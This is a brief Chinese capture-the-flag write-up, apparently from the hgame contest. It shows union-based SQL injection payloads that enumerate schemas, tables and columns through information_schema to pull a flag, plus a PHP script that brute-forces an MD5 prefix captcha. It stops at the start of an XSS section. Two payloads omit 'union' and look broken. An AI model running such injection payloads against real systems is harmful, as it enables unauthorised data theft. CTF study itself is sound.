sqli-1

code的问题不难解决，写个脚本跑一下就可以了

题目描述说参数是id，利用union的方法一步步确定flag位置

Step1：找出数据库

id=1 union select schema_name from information_schema.schemata

Step2:表

id=1 select table_name from information_schema.tables where table_schema=%27hgame%27

Step3:列

id=1 Select column_name from information_schema.columns where table_name=%27f1l1l1l1g%27 最后一步： 查询：id=1 union select f14444444g from f1l1l1l1g

md5的脚本贴在这里：

```
<?php
$str = "qwertyuiopasdfghjklzxcvbnm0123456789";
$arr = str_split($str);
for($i=0;$i< 36;++$i){
    for($j=0;$j < 36; ++$j){
        for($k=0;$k < 36; ++$k){
            for($l=0;$l < 36; ++$l){
                if(substr(md5($arr[$i].$arr[$j].$arr[$k].$arr[$l]),0,4) === "f4db"){
printf($arr[$i].$arr[$j].$arr[$k].$arr[$l]);
                    echo "<br/>";
                }
            }
        }
    }
}
?>
```

babyxss

跨站脚本攻击，首先试试对输入做了什么过滤，简单测试，发现过滤了